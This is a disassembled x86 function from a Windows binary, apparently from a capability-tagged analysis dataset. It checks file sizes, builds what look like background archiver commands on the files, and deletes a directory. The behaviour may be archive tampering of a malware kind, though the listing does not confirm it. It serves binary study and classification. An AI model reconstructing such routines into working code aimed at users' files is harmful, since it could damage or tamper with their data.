Function at 0x40b2b4
Capabilities:
Delete directory
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
and dword [ebp - 0x414], 0
and dword [ebp - 4], 0
and dword [ebp - 0x410], 0
or dword [ebp - 0x634], 0xffffffff
and dword [ebp - 0x41c], 0
and dword [ebp - 0x418], 0
and dword [ebp - 0x40c], 0
push 0x415940
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x40b3a8
mov dword [ebp - 0x41c], 1
push dword [ebp + 8]
jmp fcn.00447e4f
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x634], eax
push 0
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0
je 0x40b407
cmp dword [ebp - 0x414], 0xffffffff
je 0x40b407
cmp dword [ebp - 0x414], 0xa00000
ja 0x40b407
cmp dword [ebp - 0x414], 0x2800
jae 0x40b41d
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b679
push 0
lea eax, [ebp - 0x654]
push eax
push dword [ebp - 0x634]
call fcn.00402db5
push dword [ebp - 0x634]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
push 0
lea eax, [ebp - 0x630]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
push 0x415940
push str._s_s
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 4
push 0
push 0x2e
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
push dword [ebp + 8]
push 0x416258
push str._s_X__ibck___s____s_
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x408]
push eax
call fcn.004033ee
test eax, eax
je 0x40b4fd
cmp dword [ebp - 4], 0
je 0x40b507
jmp 0x40b679
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
push 0
lea eax, [ebp - 0x528]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
push 0x410e7c
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x528]
push eax
call fcn.0040a011
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
push dword [ebp + 8]
push str._ibck
push 0x416258
push str._s_M__s__r__o__ep1___s____s_
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x408]
push eax
call fcn.004033ee
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x634], eax
push 1
lea eax, [ebp - 0x654]
push eax
push dword [ebp - 0x634]
jmp fcn.00448f71
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
leave
ret 4